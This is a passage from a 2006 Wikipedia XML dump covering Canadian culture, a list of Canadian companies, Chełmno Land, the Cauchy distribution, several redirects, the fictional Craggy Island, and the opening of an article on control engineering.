There are plenty of eminent Canadian humourists. The [[Kids in the Hall]] were a popular Canadian sketch group. Also the [[Second City Television]] show originated in the Toronto ''[[The Second City|Second City]]'' operation, which produced many comedians that went on to success worldwide, including [[John Candy]], [[Rick Moranis]], [[Eugene Levy]], [[Dave Thomas (actor)|Dave Thomas]], [[Catherine O'Hara]], and others.   The team of creators for SCTV including Lorne Michaels were later transplanted in New York City to create Saturday Night Live.

Other Canadian comics and comedy groups include [[Jim Carrey]], [[Mike Myers (actor)|Mike Myers]], Martin Short, Tom Green, Dan Aykroyd, Leslie Nielsen, ''[[CODCO]]'' (the precursors to This Hour Has 22 Minutes), [[Maggie Cassella]], and [[Elvira Kurt]]. The ''[[Just for Laughs]]'' Festival in [[Montreal]] is the world's largest comedy festival.

Canadian humour tends to translate better via 'sketch comedy' rather than the primarily US 'sitcom' format, although solo stand-up is equally important. 

Canadian humour is often defined as being not as 'punchline-friendly' as the US, but not as 'off-the-wall' as the UK.

==Music==
{{see also|Music of Canada}}
Canada has developed its own brands of traditional music, including the French, Irish and Scottish-derived [[Cape Breton Island|Cape Breton]] fiddle music of the [[Maritimes]], the Franco-Celtic styles of [[Quebec]] that often include foot percussion and a scat style called ''turlutte''; and other national styles from the [[Ottawa River | Ottawa Valley]] to the west.  Noted proponents are [[Buddy MacMaster]] and his niece [[Natalie MacMaster|Natalie]] of [[Cape Breton]] and [[Madame Bolduc]] of Quebec, whose recordings in the [[1930s]] lifted her people through depressing times.

The Canadian music industry has been helped by government regulation designed to protect and encourage the growth of distinct Canadian culture. The Canadian Content (CANCON) regulations force all radio stations in Canada to play at least 35% Canadian music. This has enabled Canadian artists to garner success on the airwaves which were once dominated by American and European acts. Now it is common to hear several Canadian songs on the radio every hour you listen.

In the realm of popular music, Canada has produced a variety of internationally successful performers, including (alphabetically): [[Bryan Adams]], [[The Arcade Fire]], [[Broken Social Scene]], [[Paul Anka]], [[The Band]], [[Barenaked Ladies]], [[Bachman-Turner Overdrive | BTO]], [[Billy Talent]],  [[Terri Clark]], [[Bruce Cockburn]], [[Leonard Cohen]], [[Delerium]], [[Celine Dion|Céline Dion]], [[Do Make Say Think]], [[Feist]], [[Nelly Furtado]], [[Matthew Good]], [[Robert Goulet]], [[Great Big Sea]], [[Guess Who]], [[Richie Hawtin]], [[k-os]], [[Diana Krall]], [[Avril Lavigne]], [[Gordon Lightfoot]],  [[Holly McNarland]], [[Sarah McLachlan]], [[Joni Mitchell]], [[Alanis Morissette]], [[Anne Murray]], [[Bif Naked]], [[Nickelback]], [[Our Lady Peace]], [[Kim Mitchell]], [[Oscar Peterson]], [[Sam Roberts]], [[Rush (band)|Rush]], [[Simple Plan]], [[Hank Snow]], [[Sum 41]], [[The Tea Party]], [[The Tragically Hip]], [[Shania Twain]], [[Rufus Wainwright]], and [[Neil Young]].

==Symbols==
{{see also|Canadian identity}}
Official symbols of Canada include the [[maple leaf]], [[American Beaver|beaver]], and [[common loon]]. Many official symbols of the country such as the [[Flag of Canada]] have been changed or modified over the past few decades in order to 'Canadianize' them and de-emphasise or remove references to the [[United Kingdom]]. Symbols of the [[monarchy in Canada]] continue to be featured in, for example, the [[Coat of Arms of Canada]], and the designation '[[Royal]]' remains for institutions as varied as the [[Royal Canadian Mounted Police]] and the [[Royal Winnipeg Ballet]].

==Aboriginal effects==

There were and are many distinct Aboriginal peoples across Canada, each with its own culture, language and history.   Much of this artistic legacy remains celebrated in Canada to this day. The emblem of the [[Vancouver]] [[2010 Winter Olympics]] is the [[inukshuk]], a stack of rocks in human form that is a part of [[Inuit]] culture. [http://www.vancouver2010.com/Emblem/home.htm]

== See also ==
*[[Canadian Cultural Protectionism]] 
*[[Canadian Nationalism]]
*[[Canadian architecture]]

==External links==
* [http://www.culture.ca Culture.CA]: Canadian cultural portal online
* [http://www.iccs-ciec.ca/blackwell.html Canadian Studies: A Guide to the Sources]
* [http://www.cookbookwiki.com/Category:Canadian Canadian Recipes on CookBookWiki.com]

[[Category:Canadian culture]]

[[es:Cultura de Canadá]]
[[pl:Kultura Kanady]]
[[pt:Cultura do Canadá]]</text>
    </revision>
  </page>
  <page>
    <title>List of Canadian companies</title>
    <id>7000</id>
    <revision>
      <id>41702476</id>
      <timestamp>2006-03-01T04:01:34Z</timestamp>
      <contributor>
        <ip>72.136.150.139</ip>
      </contributor>
      <comment>/* B */</comment>
      <text xml:space="preserve">This is a list of '''[[corporation|companies]] from [[Canada]]'''. See also [[:Category:Companies of Canada]]. See [[lists of companies]] for lists of companies from other countries. See Canadian Owned Companies for a more detailed list.

__NOTOC__

==Current Companies -- Note: Not All of These are Canadian-Owned==
===A===
*[[Abitibi-Consolidated | Abitibi Consolidated]] (pulp and paper)
*[[AGF Management]] ([[mutual fund]]s)
*[[Agricore United]] (agricultural commodities, farm supplies, etc.) 
*[[AIC Diversified Canada|AIC Diversified Canada Split Corp.]] (financial services)
*[[Air Canada]]
*[[Alcan]] (aluminum)
*[[Alexander Keith's]] (brewery)
*[[Aliant]] (telecommunications)
*[[Alimentation Couche-Tard Inc.]] (convenience stores)
*[[Alliance Atlantis]]
*[[ATI Technologies]] ([[graphics card]]s)
*[[Astral Media]]
*[[Automation Tooling Systems]] (industrial automation)
*[[Avenue Video]]
*[[Aviva Inc.|Aviva]] (natural heath retailer)

===B===
*[[Ballard Power Systems]]
*[[Bank of Montreal]]
*[[Bata Shoes]] (world's largest shoe company)
*BCE ([[Bell Canada]] Enterprises)
** [[Bell Globemedia]]
*[[Beckers Milk|Becker's Milk]]
*[[Biovail]] (Pharmaceutical)
*[[BioWare]] (video games)
*[[Black Diamond (company)|Black Diamond]] (cheese)
*[[Bombardier]]
*[[Bombardier Recreational Products]] spun off as an independent company in 2003
*[[Buckley's]]
*[[BC Hydro]]

===C===
*[[CAE (company)|CAE]] ([[flight simulator]]s and training)
*[[Canada Life Assurance]]
*[[Canada Brokerlink]] (subsidiary of ING)
*[[Canadian Broadcasting Corporation|CBC]] (Government-owned Canadian TV and Radio broadcaster)
*[[Canadian National Railway]]
*[[Canadian Pacific Railway Limited]]
*[[Canadian Steamship Lines]]
*[[Canadian Tire]]
*[[CanJet]]
*[[CanWest Global Communications]]
*[[Casavant Frères]]
*[[Celestica]]
*[[CHUM Limited]]
*[[CIBC]] 
*[[Cineplex Entertainment]]
*[[Cirque du Soleil]]
*[[Conestoga-Rovers &amp; Associates]] (engineering)
*[[Corel]] (software)
*[[Cott]]
*[[Commercial Plating Inc.]]
*[[Comtel]]
*[[CTV]]

===D===
*[[DaimlerChrysler Canada]]
*[[Dalsa]]
*[[Dart Flipcards Inc.]]
*[[Digital Extremes]]

===E===
*[[Emera]] ([[Nova Scotia]] power company)
*[[EnCana]]
*[[Enbridge]]

===F===
*[[Famous Players]]
*[[Fairmont Hotels and Resorts]]
*[[Ford Motor Company of Canada, Limited]]
*[[Fortis Inc.]]
*[[Four Seasons Hotel]]
*[[Fresh Hemp Foods Ltd.]]
*[[Future Shop]] -- American owned

===G===
*[[Gabriel Kney]]
*[[General Electric Canada]]
*[[General Motors Canada]]
*[[Gennum]]
*[[Giant Tiger]] (discount store)

===H===
*[[Hart Stores]]
*[[Harvey's fast food restaurant|Harvey's]]
*[[Honda Canada]]
*[[Hudsons Bay Company|Hudson's Bay Company]] (The Bay)-- Sold Jan. 2006 to a US company
*[[Husky Energy]]
*[[Hydro-Québec]]

===I===
*[[IDA (drug store)|IDA]] (drug store)
*[[Imperial Oil]] (Esso)
*[[Indigo Books and Music]]
*[[Investors Group]]
*[[Irving Oil]]
*[[IdentaFone Software]]

===J===
*[[Jean Coutu Group|Jean Coutu]] (pharmacies)
===K===
*[[Kruger Inc]]

===L===
*[[Labatt|Labatt's]] (now owned by Belgian brewer [[InBev]])
*[[Léger Marketing]] (polls and market research)
*[[Lions Gate Films]]
*[[Loblaws | Loblaw's]]
*[[London Life Assurance]]
*[[Look Communications]]

===M===
*[[Mac's Milk]]
*[[Magna International]]
*[[Manitoba Hydro]]
*[[Manitoba Telecom Services]] (MTS)
*[[Manulife Financial]]
*[[Maple Leaf Sports &amp; Entertainment]] (owner of Toronto Maple Leafs, Raptors)
*[[Matrox]]
*[[Mark's Work Wearhouse]]
*[[McCain Foods]] (world's largest manufacturer of French fries)
*[[MDS Inc.]]
*[[Microcell Telecommunications]] (Owner of Fido digital wireless services)
*[[Mitel]]
*[[Molson]]
*[[Money Mart]]
*[[Moosehead]]

===N===
*[[N-able Technologies]]
*[[National Bank of Canada]]
*[[Nintendo|Nintendo of Canada]]
*[[Nortel Networks]] (telecommunications)
*[[NorandaFalconbridge]] (mining)

===O===
*[[Oland, Canada|Oland]]
*[[Onex Corporation]]
*[[ONE Financial Corporation]]
*[[Ontario Swine Improvement]]
*[[Okanagan spring brewery]]

===P===
*[[Parasuco]]
*[[Persona Inc.]] 
*[[Petro-Canada]]
* [[PetroKazakhstan]]
*[[PMC Sierra]]
*[[Power Corporation]]
*[[Pizza Pizza]]

===Q===
*[[Quebecor]] (printing / media)
===R===
*[[Radio Shack#Operations in Canada|RadioShack Canada]]
*[[Redpath Sugar]]
*[[Reitmans]]
*[[Research In Motion]]
*[[Rogers Communications]]
*[[Rona (company)|Rona]] (home renovations supplies)
*[[Roots Canada]]
*[[Royal Bank of Canada]]

===S===
*[[SNC-Lavalin]] (engineering)
*[[Saputo]] (dairy products)
*[[Scotiabank]] (Bank of Nova Scotia)
*[[Scott Paper Limited]]
*[[Shaw Cable]]
*[[Shell Canada]]
*[[Sierra Systems]]
*[[Sierra Wireless]]
*[[Sleeman Breweries]]
*[[Sobeys]]
*[[Softimage]]
*[[Swiss Chalet]]
*[[Sun Life Assurance]]
*[[Second Cup]]
*[[Stelco]]

===U===

===T===
*[[Telesat Canada]]
*[[Telus]]
*[[Tembec]]
*[[Tilley Endurables]]
*[[Tim Hortons]]
*[[Toronto-Dominion Bank]]
*[[Torstar]]
*[[Terasen Inc]]
**[[Terasen Gas]] (formerly BC Gas)

===V===
*[[VIA Rail]] (government-owned passenger train service)
*[[VisionWorks Solutions]] (Backup Software)

===W===
*[[WestJet]] (airline)
*[[Winners (store)|Winners]]

==Defunct companies, including acquired and merged ones==

Note: many of these companies are still operating under the same name, theyt are just owned by others

*[[Agricore]] (merged with United Grain Growers Ltd. to form [[Agricore United]])
*[[Anderson Exploration]], acquired by Devon Energy
*[[Bre-X]] (gold mining company, collapsed in fraud)
*[[Bricklin Automobile]]
*[[C-Mac Industries]], acquired by [[Solectron]]
*[[Canada 3000]]
*[[Canadian Airlines]], acquired by [[Air Canada]]
*[[Canadian Hunter Exploration]]
*[[Canada Trust]], acquired by [[Toronto-Dominion Bank]]
*[[Chapters]], acquired by [[Indigo Books and Music]]
*[[Cineplex Odeon]], acquired by [[Loews Theatres]]
*[[CTV]] (Canadian Television), acquired by [[Bell Globemedia]] (formerly [[Baton Broadcasting]], et al.)
*[[Dylex]], acquired by Hardof Wolf Group
*[[Eaton's]], bankrupt, assets acquired by [[Sears Canada]]
*[[Future Shop]], acquired by [[Best Buy]]
*[[Gulf Canada Resources]], acquired by [[Conoco]]
*[[Labatt|Labatt's]] (now owned by Belgian brewer [[InBev]])
*[[Seagram]] (spirits &amp; wine)
*[[Union Bank of Halifax]] (now part of the [[Royal Bank of Canada]])
*[[United Grain Growers Ltd.]] (merged with Agricore to form [[Agricore United]])
*[[Videotron]] (cable; now owned by [[Quebecor]])
*[[WardAir]], acquired by [[Canadian Airlines]]
*[[Westcoast Energy]], acquired by [[Duke Energy]]

== See also ==
*[[List of economics consultancies and think tanks]]
*[[List of newspapers]]
*[[List of magazines]]
*[[Television network]]
*[[List of supermarkets]]
*[[List of restaurant chains]]
*[[Fast-food restaurant]]
*[[List of gas stations]]
*[[Toronto Stock Exchange]]

== External links ==
* [http://strategis.ic.gc.ca Strategis: Canada's Business and Consumer site]
* [http://www.cbsc.org Doing Business in Canada]

[[Category:Lists of companies by country|Canada]]

[[fr:Liste des entreprises canadiennes]]</text>
    </revision>
  </page>
  <page>
    <title>Chełmno Land</title>
    <id>7001</id>
    <revision>
      <id>41831451</id>
      <timestamp>2006-03-02T00:55:48Z</timestamp>
      <contributor>
        <username>Ksenon</username>
        <id>541820</id>
      </contributor>
      <comment>history expansion</comment>
      <text xml:space="preserve">'''Chełmno Land''' or '''Culmland''' ([[Polish language|Polish]]: ''Ziemia Chełmińska'', [[German language|German]]: ''Kulmerland'') is a historical region in central [[Poland]] bounded by the [[Vistula]] and [[Drwęca]] rivers. It is named after the city of [[Chełmno]]. The largest cities in the region are [[Toruń]], [[Grudziądz]], [[Chełmno]], and [[Chełmża]]. In various times it was considered to be part of the neighbouring provinces of [[Masovia]], [[Kuyavia]], [[Greater Poland]], [[Prussia]], and [[Pomerania]]; it is currently part of the [[Kuyavian-Pomeranian Voivodship]]. The region is also sometimes referred to as Kulmer Land, Culmerland, or Culmer Land.

It is located on the right bank of the [[Vistula]] river, from the mouth of the [[Drwęca]] river to Chełmno. Where the Vistula river takes a sharp turn northward, the Drwęca forms the eastern border of the region, while its southern and western border is the Vistula river.

&lt;!-- Unsourced image removed: [[Image:Kulmland.JPG|250px|thumb|right|Chełmno Land in [[1547]]]] --&gt;

== History ==

In the [[10th century]] Chełmno Land was inhabited by the [[Lechitic]] Kuyavian and Masovian tribes. When this area was subdued by the rulers of the [[Polans (western)|Polans]] Chełmno became a local centre of administration (kasztelania). Chełmno Land was [[Christianised]] in the [[11th century]]. 

According to the will of Duke [[Boleslaus III of Poland]], after his death in [[1137]] Chełmno Land became a part of the duchy governed by his son [[Boleslaus IV the Curly]] and his descendants during the feudal fragmentation of Poland.

In the [[Middle Ages]] Chełmno Land was subject to to constant raids by the pagan [[Old Prussian|Prussians]]. In [[1226]] Duke [[Conrad I of Masovia]], enlisted the aid of the [[Teutonic Order]] to protect [[Masovia]] and help convert the Prussians to Christianity. In return, the knights were to keep Chełmno Land as a fief, although some allege the grant to have been a forgery. The land constituted the base of the [[Monastic State of the Teutonic Knights]], and its later colonization of [[East Prussia]], marking the German ''[[Drang nach Osten]]''.

The Teutonic Order obtained an Imperial bull from Emperor [[Frederick II, Holy Roman Emperor|Frederick II]] before entering Prussia, although this document is also disputed. In [[1243]] the [[papal legate]] [[William of Modena]] divided Prussia into four dioceses under the archbishop of [[Riga]], one of which was Chełmno Land. 

After the [[Thirteen Years War]] between the Prussian cities and the Teutonic Knights ended with the [[Peace of Toruń 1466|Peace of Toruń]] in [[1466]], Chełmno Land returned to the Polish crown as a part of autonomous [[Royal Prussia]] (see [[Chełmno Voivodship]]).

In [[1772]] as a result of the [[First Partition of Poland]], Chełmno Land (with the exception of [[Toruń]]) was seized by the [[Kingdom of Prussia]]. Between [[1807]] and [[1815]] Chełmno Land was a part of the [[Duchy of Warsaw]]. In 1815 it become part of the [[Grand Duchy of Poznań]], but in [[1817]] Chełmno Land was included in [[West Prussia]].

Following the [[Treaty of Versailles]] in [[1919]], Chełmno Land returned to Poland in January [[1920]]. In first days of September 1939 occupied by Germany, October 1939 annexed, January 1945 captured by Red Army and returned to Poland.

== External links ==

* [http://www.pilot.pl/index.php3?z_city_id=335&amp;lang=pl Chełmno Town and Land on a map of Poland]

[[Category:Regions of Poland]]

[[de:Kulmerland]]
[[pl:Ziemia chełmińska]]</text>
    </revision>
  </page>
  <page>
    <title>Cadinen</title>
    <id>7002</id>
    <revision>
      <id>15905107</id>
      <timestamp>2003-03-21T15:29:17Z</timestamp>
      <contributor>
        <username>Space Cadet</username>
        <id>1522</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Kadyny]]</text>
    </revision>
  </page>
  <page>
    <title>Cauchy distribution</title>
    <id>7003</id>
    <revision>
      <id>42081357</id>
      <timestamp>2006-03-03T18:22:52Z</timestamp>
      <contributor>
        <ip>132.236.120.139</ip>
      </contributor>
      <comment>/* Why the mean of the Cauchy distribution is undefined */</comment>
      <text xml:space="preserve">{{Probability distribution|
  name       =Cauchy-Lorentz|
  type       =density|
  pdf_image  =[[Image:Cauchy distribution pdf.png|325px|Probability density function for the Cauchy distribtion]]&lt;br /&gt;&lt;small&gt;The green line is the standard Cauchy distribution&lt;/small&gt;|
  cdf_image  =[[Image:Cauchy distribution cdf.png|325px|Cumulative distribution function for the Normal distribution]]&lt;br /&gt;&lt;small&gt;Colors match the pdf above&lt;/small&gt;|
  parameters =&lt;math&gt;x_0\!&lt;/math&gt; [[location parameter|location]] ([[real number|real]])&lt;br /&gt;&lt;math&gt;\gamma &gt; 0\!&lt;/math&gt; [[scale parameter|scale]] (real)|
  support    =&lt;math&gt;x \in (-\infty; +\infty)\!&lt;/math&gt;|
  pdf        =&lt;math&gt;\frac{1}{\pi\gamma\,\left[1 + \left(\frac{x-x_0}{\gamma}\right)^2\right]} \!&lt;/math&gt;|
  cdf        =&lt;math&gt;\frac{1}{\pi} \arctan\left(\frac{x-x_0}{\gamma}\right)+\frac{1}{2}&lt;/math&gt; |
  mean       =(not defined)|
  median     =&lt;math&gt;x_0&lt;/math&gt;|
  mode       =&lt;math&gt;x_0&lt;/math&gt;|
  variance   =(not defined)|
  skewness   =(not defined)|
  kurtosis   =(not defined)|
  entropy    =&lt;math&gt;\ln(4\,\pi\,\gamma)\!&lt;/math&gt;|
  mgf        =(not defined)|
  char       =&lt;math&gt;\exp(x_0\,i\,t-\gamma\,|t|)\!&lt;/math&gt;
}}
The '''Cauchy-Lorentz distribution''', named after [[Augustin Cauchy]] and [[Hendrik Lorentz]], is a continuous [[probability distribution]] with [[probability density function]]

:&lt;math&gt; f(x; x_0,\gamma) = \frac{1}{\pi\gamma \left[1 + \left(\frac{x-x_0}{\gamma}\right)^2\right]} = { 1 \over \pi } \left[ { \gamma \over (x - x_0)^2 + \gamma^2  } \right] \!&lt;/math&gt;

where ''x''&lt;sub&gt;0&lt;/sub&gt; is the [[location parameter]], specifying the location of the peak of the distribution, and ''&amp;gamma;'' is the [[scale parameter]] which specifies the half-width at half-maximum (HWHM). As a probability distribution, it is known as the '''Cauchy distribution''' while among physicists it is known as the '''Lorentz distribution''' or the '''Breit-Wigner''' distribution. Its importance in [[physics]] is largely due to the fact that it is the solution to the [[differential equation]] describing forced [[resonance]]. In [[spectroscopy]] it is the description of the line shape of spectral lines which are broadened by many mechanisms including resonance broadening. The statistical term ''Cauchy distribution'' will be used in the following discussion.

The special case when ''x''&lt;sub&gt;0&lt;/sub&gt; = 0 and ''&amp;gamma;'' = 1 is called the '''standard Cauchy distribution''' with the probability density function

:&lt;math&gt; f(x; 0,1) = \frac{1}{\pi (1 + x^2)}. \!&lt;/math&gt;

==Properties==

Since it is a distribution function, it [[integral|integrates]] to unity:

:&lt;math&gt;\int_{-\infty}^\infty f(x; x_0,\gamma)\,dx=1. \!&lt;/math&gt;

The cumulative distribution function is:

:&lt;math&gt;F(x; x_0,\gamma)=\frac{1}{\pi} \arctan\left(\frac{x-x_0}{\gamma}\right)+\frac{1}{2}&lt;/math&gt;

and the inverse cumulative distribution function of the Cauchy distribution is

:&lt;math&gt;F^{-1}(p; x_0,\gamma) = x_0 + \gamma\,\tan(\pi\,(p-1/2)). \!&lt;/math&gt;

The Cauchy distribution is often cited as an example of a distribution which has no [[mean]], [[variance]] or higher [[moment (mathematics)|moments]] defined, although its [[mode (statistics)|mode]] and [[median]] are well defined and are both equal to x&lt;sub&gt;0&lt;/sub&gt;.

The [[Characteristic function (probability theory)|characteristic function]] of the Cauchy distribution is well defined:

:&lt;math&gt;\phi_x(t; x_0,\gamma) = \mathrm{E}(e^{i\,x\,t}) = \exp(i\,x_0\,t-\gamma\,|t|). \!&lt;/math&gt;

When ''U'' and ''V'' are two independent [[normal distribution|normally distributed]] [[random variable]]s with [[expected value]] 0 and [[variance]] 1,  then the ratio ''U''/''V'' has the standard Cauchy distribution.

If ''X''&lt;sub&gt;1&lt;/sub&gt;, &amp;hellip;, ''X''&lt;sub&gt;''n''&lt;/sub&gt; are [[independent and identically distributed]] random variables, each with a standard Cauchy distribution, then the [[Arithmetic mean|sample mean]] (''X''&lt;sub&gt;1&lt;/sub&gt; + &amp;hellip; + ''X''&lt;sub&gt;''n''&lt;/sub&gt;)/''n'' has the same standard Cauchy distribution. To see that this is true, compute the [[Characteristic function (probability theory)|characteristic function]] of the sample mean:

:&lt;math&gt;\phi_\overline{X}(t) = \mathrm{E}\left(e^{i\,\overline{X}\,t}\right) \!&lt;/math&gt;

where &lt;math&gt;\overline{X}&lt;/math&gt; is the sample mean. This example serves to show that the hypothesis of finite variance in the [[central limit theorem]] cannot be dropped. It is also an example of a more generalized version of the central limit theorem that is characteristic of all [[Lévy skew alpha-stable distribution]]s, of which the Cauchy distribution is a special case.

The Cauchy distribution is an [[infinite divisibility|infinitely divisible]] probability distribution. It is also a strictly [[stability (probability)|stable]] distribution.

The standard Cauchy distribution coincides with the [[Student's t-distribution]] with one degree of freedom.

The [[location-scale family]] to which the Cauchy distribution belongs is closed under [[Möbius transformation|linear fractional transformations]] with [[real number|real]] coefficients.  In this connection, see also [[McCullagh's parametrization of the Cauchy distributions]].

==Why the mean of the Cauchy distribution is undefined==

If a [[probability distribution]] has a [[probability density function|density function]] ''f''(''x'') then the mean or [[expected value]] is

:&lt;math&gt;\int_{-\infty}^\infty x f(x)\,dx. \qquad\qquad (1)\!&lt;/math&gt;

The question is now whether this is the same thing as

:&lt;math&gt;\int_0^\infty x f(x)\,dx-\int_{-\infty}^0 |{x}| f(x)\,dx.\qquad\qquad (2) \!&lt;/math&gt;

If both the positive and negative terms in (2) are finite, then (1) is the same as (2).  If either the positive term or the negative term is infinite, then (1) is the same as (2) (and is infinite, with either a positive or a negative sign).  But in the case of the Cauchy distribution, both are infinite.  This means (2) is undefined.

Moreover, if (1) is construed as a [[Lebesgue integral]], then (1) is also undefined, since (1) is then defined simply as the difference (2) between positive and negative parts.

However, if (1) is construed as an [[improper integral]] rather than a Lebesgue integral, then (2) is undefined, and (1) is not necessarily well-defined.  We may take (1) to mean

:&lt;math&gt;\lim_{a\to\infty}\int_{-a}^a x f(x)\,dx, \!&lt;/math&gt;

and this is its [[Cauchy principal value]], which is zero, but we could also take (1) to mean, for example,

:&lt;math&gt;\lim_{a\to\infty}\int_{-2a}^a x f(x)\,dx, \!&lt;/math&gt;

which is ''not'' zero, as can be seen easily by computing the integral.

Various results in probability theory about expected values, such as the strong [[law of large numbers]], will not work in such cases.

==Why the second moment of the Cauchy distribution is infinite==

Without a defined mean, it is impossible to consider the [[variance]] or [[standard deviation]] of a standard Cauchy distribution.  But the second moment about zero can be considered.  It turns out to be [[infinite]]:

:&lt;math&gt;\mathrm{E}(X^2) \propto \int_{-\infty}^{\infty} {x^2 \over 1+x^2}\,dx = \int_{-\infty}^{\infty} dx - \int_{-\infty}^{\infty} {1 \over 1+x^2}\,dx = \infty -\pi. \!&lt;/math&gt;

== Relationship to other distributions ==

*Relation to [[Lévy skew alpha-stable distribution]]: if &lt;math&gt;X\sim \textrm{Levy-S}\alpha\textrm{S}(1,0,\gamma,\mu)&lt;/math&gt; then &lt;math&gt;X \sim \textrm{Cauchy}(\mu,\gamma)&lt;/math&gt;.

==See also==

* [[McCullagh's parametrization of the Cauchy distributions]]

== External links ==

* [http://mathworld.wolfram.com/CauchyDistribution.html MathWorld Cauchy Distribution]
* [http://www.gnu.org/software/gsl/manual/gsl-ref.html#SEC294 GNU Scientific Library - Reference Manual]

[[Category:Continuous distributions]]

[[de:Cauchy-Verteilung]]
[[es:Distribución de Cauchy]]
[[it:Variabile casuale di Cauchy]]
[[pl:Rozkład Cauchy'ego]]
[[su:Sebaran Cauchy]]</text>
    </revision>
  </page>
  <page>
    <title>Choosing summary statistics</title>
    <id>7004</id>
    <revision>
      <id>15905109</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Dreamyshade</username>
        <id>32</id>
      </contributor>
      <minor />
      <comment>redirect to summary statistics</comment>
      <text xml:space="preserve">#REDIRECT [[Summary statistics]]</text>
    </revision>
  </page>
  <page>
    <title>Christopher Houston</title>
    <id>7007</id>
    <revision>
      <id>15905110</id>
      <timestamp>2002-08-18T20:28:22Z</timestamp>
      <contributor>
        <username>Ortolan88</username>
        <id>1325</id>
      </contributor>
      <comment>reversing erroneous redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Kit Carson]]</text>
    </revision>
  </page>
  <page>
    <title>Contraceptive</title>
    <id>7009</id>
    <revision>
      <id>15905112</id>
      <timestamp>2002-03-15T08:00:29Z</timestamp>
      <contributor>
        <username>AxelBoldt</username>
        <id>2</id>
      </contributor>
      <minor />
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Birth control]]
</text>
    </revision>
  </page>
  <page>
    <title>Craggy Island</title>
    <id>7010</id>
    <revision>
      <id>39999094</id>
      <timestamp>2006-02-17T11:28:02Z</timestamp>
      <contributor>
        <ip>213.94.242.128</ip>
      </contributor>
      <text xml:space="preserve">'''Craggy Island''' is a fictional island off the west coast of [[Ireland]] and is used as the principal external setting for [[Father Ted]] in the [[television]] series of the same name. 

Craggy Island is an unpleasant place, not to be found on any map; the residents believe maps are more the area of flashy cities such as [[New York City]]. It has only a North, South and East side, the West side of the island having broken off in a storm. However, Ted assures visitors that it was lovely. 

Because of its remoteness to anything resembling civilization, it was the perfect location to send Father Ted, [[Father Dougal]], and [[Father Jack]] for punishment because of past transgressions.

The island is populated by many eccentrics and has no landmarks. Some claim the island itself is a bit of a landmark, as sailors use it as a directional point, the general rule being that if you're going away from it, you're going in the right direction. The sea around is also a dumping ground for nuclear waste, accroding to Fr. Crilly. 

Craggy Island is home to very little entertainment and very little crime, but does have its own newspaper, the &quot;Craggy Island Examiner.&quot;  Upon the theft of the whistle of Mr. Benson, the gentleman who monitors the picnic spot from his shack, the newspaper produced a special pull-out section on whistles.  The crime sparked panic amongst the populace (and excitement among the police who finally had something to do), leading to one elderly resident to speculate that drive by shootings would not be far behind, and that the island would soon resemble a scene from ''[[Boyz N the Hood]]''.

Some of the few entertainment possiblities the island does possess are the fun fair, and the annual &quot;Lovely Girl&quot; competition and &quot;King of the Sheep&quot; competition.

The majority of the island is Church going and admire Father Ted's ability to say a very fine mass.  The devotion of the populace was proven that even after allegation that Father Ted was a racist, one citizen was concerned that they might not have time to devote themselves to racism full-time.

Its neighbouring island is the eerily similar Rugged Island.  Barren Island is not too far off either.

==Places of interest==
*'''The Holy Stone of Clonrichert'''. This used to be up in Fermanagh, but wasn't doing very good business. It is now a famous attraction of Craggy Island, and someone was cured there last year. (&quot;No Dougal, someone was lured there.&quot;) It was recently upgraded to a Class 2 Relic, but thanks to Father Jack spent a short period lodged in a bishop.
*'''The Field'''. Actually, The Field is not really a field, but it has less rocks in it than most places. The Field hosts the annual Fun Festival, which contains such frolics as the Crane of Death (a park bench on a crane, so called because someone died on it), the Spinning [[Cat]] (a cat on a record turntable), Freak Pointing, Goading the Fearsome Man, Duck Startling, The Ladder (a ladder),The Whirley-go-Round and of course 'The Spider Baby'.
*'''The Magic Road'''. A sort of weird freak of nature where nothing works the way it's supposed to. A bit like Dougal. This road has a trick of perspective so that things appear to roll uphill, including Father Jack. It leads to the cliffs near Kilkelly Caravan Park.
*'''St. Kevin's Stump'''. The identity of St. Kevin is unknown, but his stump appears to be a less than averagely interesting tree stump.
*'''Craggy Island Crazy Golf Course'''. This particular golf course (1 hole only), is a squalid example of the genre, even before it was struck by lightning via the body of Father Stone.
*'''The cinema''' became a top tourist spot when thousands of people from all over Europe flocked to see the nudie film, &quot;[[The Passion of St. Tibulus]]&quot;
*'''The picnic spot'''. Even more bleak than the rest of the island, a few deckchairs on a windswept piece of moorland and a list of rules suffice for the islander's picnic needs. Although they do have to contend with the fearsome guardian Mr Benson.
*'''The Shrine of Kinlettle'''. The Blessed Virgin appeared to a man on the golf course near here and so the spot was forever enshrined. You can even buy a tacky souvenir money-box depicting the event.
*'''Vaughans''', a bar frequented by Craggy Island's Chinese community.
*'''St Patrick's Hill''' - a popular spot for Lenten pilgrimages, especially with Mrs Doyle. You have to take your socks off before you go up, and then you get chased down with a plank.
*'''St Clabbert's''' home for elderly priests, also known as 'Jurassic Park'.

The real Craggy Island seen from helicopter shots is [[Inisheer]]. The actual parochial house used in the series is on the mainland in [[County Clare]], near [[Lisdoonvarna]]. Drive south-east from [[Lisdoonvarna]] to [[Kilfenora]] and follow the road onwards to the tiny town of [[Kilnaboy]]. Once in the town, look for the left turn for the school (it's the only junction in town). Follow this road for a couple of miles. It is a very thin secluded road, but all of a sudden you will emerge from the greenery to the sight of the Parochial House (in real life McCormack's at Glenquin).

A [[map]] of the island appeared in the episode [[Father Ted|Night of the Nearly Dead]], when a middle-aged woman contacted people about pop-star Eoin McLove's visit to the Parochial House, even though it was meant to be a secret.

[[Category:Fictional islands]]</text>
    </revision>
  </page>
  <page>
    <title>Control engineering</title>
    <id>7011</id>
    <revision>
      <id>37456550</id>
      <timestamp>2006-01-31T02:59:05Z</timestamp>
      <contributor>
        <username>Ghostal</username>
        <id>97239</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Control engineering''' is the [[engineering]] discipline that focuses on the mathematical [[mathematical model|modelling]] systems of a diverse nature, analysing their dynamic behaviour, and using [[control theory]] to make a controller that will cause the systems to behave in a desired manner.

== Background ==

Modern Control engineering is closely related to [[electrical and electronics engineering]], as electronic circuits can often be easily described using control theory techniques. At many universities, control engineering courses are primarily taught by electrical engineering faculty. Previous to Modern Electronics, process control devices were devised by Mechanical Engineers using mechanical feedback along with pneumatic and hydraulic control devices. It may be hard to imagine but some of these old mechanical devices are still in use.

